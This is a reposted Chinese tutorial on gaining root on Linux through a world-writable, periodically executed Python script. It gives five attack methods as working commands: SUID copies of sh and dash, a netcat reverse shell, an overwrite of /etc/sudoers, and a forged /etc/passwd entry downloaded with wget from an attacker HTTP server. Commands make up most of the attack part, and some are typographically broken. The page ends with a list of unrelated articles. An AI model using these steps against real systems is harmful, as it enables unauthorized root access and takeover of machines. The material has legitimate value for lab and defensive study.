通过可写文件获取Root权限的多种方式

写在前面的话

在Linux系统中,任何东西都是以文件形式存在的,包括目录和设备在内,它们都拥有读取、写入和执行权限(需配置)。当管理员在设置文件权限时,必须根据Linux用户的具体情况来进行设置。

在这篇文章中,我们将跟大家讨论如何通过可写文件/脚本来实现Linux下的提权。接下来,我们直奔主题。

打开你的电脑,然后入侵目标系统,我们直接进入到提权环节。假设我已经通过ssh成功登录目标设备,然后访问了非root用户终端。接下来,使用下列命令枚举出全部拥有可写权限的文件:

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

你可以看到,结果中有一个存储在/lib/log目录中的python文件,查看之后我们发现sanitizer.py的权限为777:

看来这个文件是管理员用来清理/tmp目录垃圾的,这种文件会在一定的时间间隔后自动执行。如果攻击者也发现了这一点,那么他们就能够通过接下来所介绍的方式实现提权了。

第一种方法

把/bin/sh拷贝到/tmp中,启用/tmp/sh的SUID。这种方法很简单,首先使用编辑器来打开文件,例如“nanosanitizer.py”,然后用下列内容替换掉“rm -r/tmp”:

os.system('cp/bin/sh /tmp/sh')
os.system('chmodu+s /tmp/sh')

接下来,它会在/tmp目录中创建一个拥有SUID权限的sh文件,你运行该文件之后你就能拿到root权限了。

cd /tmp
ls
./sh
id
whoami

第二种方法

跟之前的方法一样,你可以用下列代码替换掉原来的“rm -r /tmp”:

os.system(‘chmod u+s /bin/dash)

一段时间之后,它会给/bin/dash文件设置SUID权限,当你运行它之后你就能拿到root权限了:

/bin/dash
id
whoami

第三种方法

这里我们需要将python反向shell连接代码复制到“rm -r /tmp/*”这里,然后在新的终端里开启netcat监听器:

一段时间之后你就会通过netcat拿到反向shell连接,并获取到root权限了:

nc-lvp 1234
id
whoami

第四种方法

这是一种最有趣的方法,我们可以通过这种方法来使用sudo权限去登录目标设备。大家可以看到,wernerbrandes现在还无法运行sudo命令:

将下列代码替换掉“rm -r /tmp/*”:

os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

一定时间之后,当你运行“sudo -l”命令之后,你就会发现这个账号变成了sudo用户,然后你就可以拿到root权限了:

sudo -l
sudo bash
id

第五种方法

在任何一个类Linux系统中,passwd文件的重要性不言而喻,如果攻击者可以访问或修改这个文件,那么该文件就变成了一种提权方式。在可写脚本的帮助下,我们可以使用cat命令来访问etc/passwd文件。

大家可以从下图中看到高亮标注的nemo用户信息,我猜测UID:1000 & GID:1000表示该用户很可能在管理员组里面。我们需要修改nemo记录并让它成为root组成员。首先,把etc/passwd文件的内容拷贝到一个空白的text文件中。

然后在新的终端里,生成salt密码:

openssl passwd -1 -salt abc 123

把salt密码拷贝到nemo用户记录条目的“X”位置,把之前的UID&GID改成0:0。完成所有步骤之后,把刚才新建的text文件保存问“passwd”,然后把这个文件拷贝到目标主机中覆盖掉原始的passwd文件。

cd Desktop
python -m SimpleHTTPServer 80

利用可写脚本,用下列命令替换掉“rm -r /tmp/*”:

os.system(‘chmod u+s /bin/cp)

过一段时间之后它将会开启/bin/cp的SUID权限,然后完成文件拷贝。

将修改后的passwd文件拷贝到目标主机的/tmp目录中,然后输入下列命令:

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

使用下列命令查看passwd文件是否替换成功:

tail /etc/passwd

通过下列命令拿到root权限:

su nemo
password123
whoami

总结

在这篇文章中我们给大家演示了攻击者如何利用可写文件实现提权,希望大家喜欢。

* 参考来源:hackingarticles,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-06-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏IMWeb前端团队

From svn to git 你要知道的东西

最近团队项目准备从svn往git迁,于是做了一些相关的了解,发现svn跟git还是有很多不一样的,下面写了一些个人理解。 核心区别 分布式 vs 集中式 git...

1965
来自专栏hadoop学习笔记

hadoop基础入门教程--DKHadoop配置安装教程

使用hadoop版本是DKH标准三节点发行版,DKHadoop版本的易用性比较好,环境部署要简单的多,参考此篇安装前请先下载DKHadoop版本,网盘链接:ht...

1023
来自专栏Web项目聚集地

PL/SQL Developer连接虚拟机数据库(图文详解)

Web项目聚集地的朋友求助关于PL/SQL Developer连接虚拟机Oracle数据库的教程,他说自己操作过程遇到很多错误,可以说操作中有很多注意的地方...

1582
来自专栏玄魂工作室

Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1 本系列教程说明 本系列教程,采用的大纲母本为《Understanding ...

45611
来自专栏JAVA同学会

OAuth授权 | 看这篇就够了

上一篇我们介绍了单点登录(SSO),它能够实现多个系统的统一认证。今天我们来谈一谈近几年来非常流行的,大名鼎鼎的OAuth。它也能完成统一认证,而且还能做更多的...

4176
来自专栏运维一切

CENTOS7 SYSTEMCTL说明 原

PS:RHEL7和CentOS7出来有一段时间了,拿出点时间研究下,有几个地方跟6和5系列相比改变比较大,估计不少童鞋有点不太习惯。下面简要举例说明改变比较大的...

872
来自专栏黑泽君的专栏

在 Windows 系统中安装 SSH 服务

在Mac下搭建了ssh服务,并且测试通过,但是当到windows上,我想以同样的方式操作的时候,事实告诉我,“我太TM天真了!”,没办法,重新百度了一下,发现w...

7062
来自专栏IMWeb前端团队

ke.qq.com接入登录态隔离总结

一、接入登录态隔离背景 目前腾讯的web业务都是共享skey作为登录态凭证,skey这个cookie打在*.qq.com一级域名下,被qzone.qq.com、...

3210
来自专栏腾讯云数据库团队的专栏

在云端快速构建一个 ODOO 站点

ODOO 的前身是 OpenERP,是一款开源的 ERP 系统,使用 Python 开发,数据库采用PostgreSQL,系统以 LGPLv3 协议发布。ODO...

2.7K1
来自专栏BeJavaGod

手动搭建apache james邮件服务器,实现邮件功能

最近一直在搞邮件这块,本来我们邮件发送是用的腾讯免费的企业邮箱,邮件功能没有问题,但是由于邮件的限制,如下: ? 这些限制导致我们的部分客户是收不到邮件的,哪怕...

1.1K3

扫码关注云+社区

领取腾讯云代金券